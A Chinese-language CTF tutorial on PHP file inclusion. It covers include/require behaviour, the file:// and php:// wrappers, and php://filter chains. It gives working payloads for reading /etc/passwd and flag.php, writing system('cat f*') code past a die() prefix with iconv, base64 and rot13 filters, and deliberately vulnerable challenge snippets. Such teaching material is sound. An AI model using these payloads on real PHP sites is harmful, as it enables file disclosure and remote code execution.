文件包含

文件包含

概述:

PHP 中常用的文件包含函数有以下四种:

  • include()

  找不到被包含的文件时只会产生警告,脚本将继续运行。

  • include_once()

  与 include()​ 类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

  • require()

  找不到被包含的文件时会产生致命错误,并停止脚本运行。

  • require_once()

  与 require()​ 类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

  当以上 四种函数 参数可控的情况下,我们需要知道以下两点特性,

  • 若文件内容符合 PHP 语法规范,包含时不管扩展名是什么都会被 PHP 解析。
  • 若文件内容不符合 PHP 语法规范则会暴漏其源码。

分类:

  在文件包含中,主要分为 本地 和 远程 两种类别,分类取决于所包含文件位置的不同。这两种分类依赖于 php.ini 中的两个配置项,注意对配置进行更改时,注意 On / Off 开头需大写,其次,修改完配置文件后务必要重启 Web 服务,使其配置文件生效。

  allow_url_fopen (默认开启)
allow_url_include #(默认关闭,远程文件包含必须开启)

判断服务器类型

读取文件

  可以尝试读取 /etc/passwd 如果可行则代表操作系统为 Linux,反之为 Windows(判断不是百分百正确)

大小写混写

  利用大小写敏感的特性来判断服务器类型,因为在 Linux 中严格区分大小写,而 Windows 不区分大小写。

  如:在 Windows 下你要包含的文件为 lfi.txt,即使你写成 Lfi.txt、lFi.tXT 等形式也可包含成功。

  ‍

文件包含协议

file://

  file:// 是 PHP 使用的默认封装协议,展现了本地文件系统。 当指定了一个相对路径(不以/、\、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。 在很多情况下是脚本所在的目录,除非被修改了。 使用 CLI 的时候,目录默认是脚本被调用时所在的目录。

  在某些函数里,例如 fopen()file_get_contents()include_path​ 会可选地搜索,也作为相对的路径。

  • 用法
1
2
file:///etc/passwd
file://C:/Windows/win.ini
  • 示例

  file://[ 文件的绝对路径和文件名]

1
http://127.0.0.1/?filename=file:///etc/passwd

  ‍

php://

  • allow_url_fopen:不受影响

  • allow_url_include:仅 php://input​、 php://stdin​、php://memory​、php://temp​ 需要 on

  • 作用: 访问各个输入 / 输出流(I/O streams)

  • 说明: PHP 提供了一些杂项输入 / 输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

协议作用
php://input可以访问请求的原始数据的只读流。 如果启用了 enable_post_data_reading 选项, php://input 在使用 enctype="multipart/form-data"​ 的 POST 请求中不可用。
php://output只写的数据流, 允许你以 printecho 一样的方式 写入到输出缓冲区。
php://fd(>=5.3.6) php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。
php://memory php://temp(>=5.1.0) 类似文件 包装器的数据流,允许读写临时数据。 两者的一个区别是 php://memory 总是把数据储存在内存中, 而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。 临时文件位置的决定和 sys_get_temp_dir() 的方式一致。php://temp 的内存限制可通过添加 /maxmemory:NN​ 来控制,NN​ 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件。
php://filter(>=5.0.0) 元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
  • php://filter 参数详解

  该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

名称描述
resource=<要过滤的数据流>这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(|​)分隔。
write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(|​)分隔。
<;两个链的筛选列表>任何没有以 read=​ 或 write=​ 作前缀 的筛选器列表会视情况应用于读或写链。
  • 可用的过滤器列表

  在 CTF 竞赛中常用的为 转换过滤器​,在一些极端情况下可以通过 字符串过滤器​ 实现 bypass,当然这里需要大家了解一下 PHP 支持的字符编码,另外其他的过滤器类型详见:https://www.php.net/manual/zh/filters.php

字符串过滤器作用
string.rot13等同于 str_rot13()​,rot13 变换

转换过滤器作用
convert.base64-encode & convert.base64-decode等同于 base64_encode()​ 和 base64_decode()​,base64 编码解码
convert.quoted-printable-encode & convert.quoted-printable-decodequoted-printable 字符串与 8-bit 字符串编码解码
  • 用法
1
2
3
4
5
6
7
8
9
10
11
12
# 直接读,PHP 代码会被解析
php://filter/resource=flag.php
# 针对 PHP 文件(常用)
php://filter/read=convert.base64-encode/resource=flag.php
# 其他字符编码
php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
# Rot13
php://filter/string.rot13/resource=1.php
#
php://input
[POST DATA部分]
<?php phpinfo(); ?>
  • 示例

  convert

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

  把 Base64 和 Rot13 过滤了,根据 PHP 支持的字符编码,发现 PHP 支持的字符编码还是挺多的,我们这里随便选择一个进行使用

1
2
GET: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
POST: contents=?<hp pystsme"(ac tlf"*;)

  关于代码生成,注意 ucs-2​ 编码的字符串位数一定要是偶数,否则会报错,ucs-4​ 编码的字符串位数一定要是 4 的倍数,否则会报错

1
2
3
<?php 
echo iconv("UCS-2LE","UCS-2BE",'<?php system("cat fl*");');
// ?<hp pystsme"(ac tlf"*;)

  base64

1
2
3
4
5
# index.php
<?php
highlight_file(__FILE__);
require($_GET['filename']);
?>

1
2
3
4
5
# flag.php
<?php

// $flag = 'flag{th14_1s_m3_fl4g}';
echo '答案在注释里,自己找吧';

  我们可以利用 php://filter​ 伪协议来读取文件内容,需要注意的是,php://filter​ 伪协议如果不指定过滤器的话,默认会解析 PHP 代码,所以我们需要指定 convert.base64-encode​ 过滤器来对文件内容进行编码

1
php://filter/read=convert.base64-encode/resource=flag.php

  rot13

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

}else{
highlight_file(__FILE__);
}

  一个写文件的题,但是有过滤,不允许包含 php​ , data​ , :​ 和 .​ 但是在写入操作的时候,会把 file​ 参数进行 urldecode​,所以我们可以两次 urldecode​ 来绕过过滤,然后只需要考虑如何绕过 <?php die('大佬别秀了');?>​ 中的 die()​ 即可

  我们可以尝试使用 Base64 绕过 die()​,Base64 的编码范围是 0-9​ , a-z​ , A-Z​ , +​ 和 /​ ,其他字符会被忽略,去掉不支持的字符,只剩下了 phpdie​ 了,因为 Base64 解码是按照 4 位 一组进行解码的,所以我们需要在最终编码出来的字符串中最前面添加两个字母,以达到 Base64 解码的规则

1
2
3
4
// 需要两次URL编码
GET: ?file=php://filter/convert.base64-decode/resource=1.php
// 需要base64编码,编码后最前面添加两个字母如:aa
POST: content=<?php system('cat f*');

  另一种方法是使用 Rot13 编码

1
2
3
4
// 需要两次URL编码
GET: ?file=php://filter/string.rot13/resource=1.php
// 需要Rot13编码
POST: content=<?php system('cat f*');

  Rot13 解码后写入的文件内容变为了

1
<?cuc qvr('大佬别秀了');?><?php system('cat f*');

  这样就可以绕过 die()​ 了

  input

1
2
3
4
5
# 注意使用 php://input 的时候必须开启 allow_url_include
<?php
highlight_file(__FILE__);
include($_GET['filename']);
?>

  ‍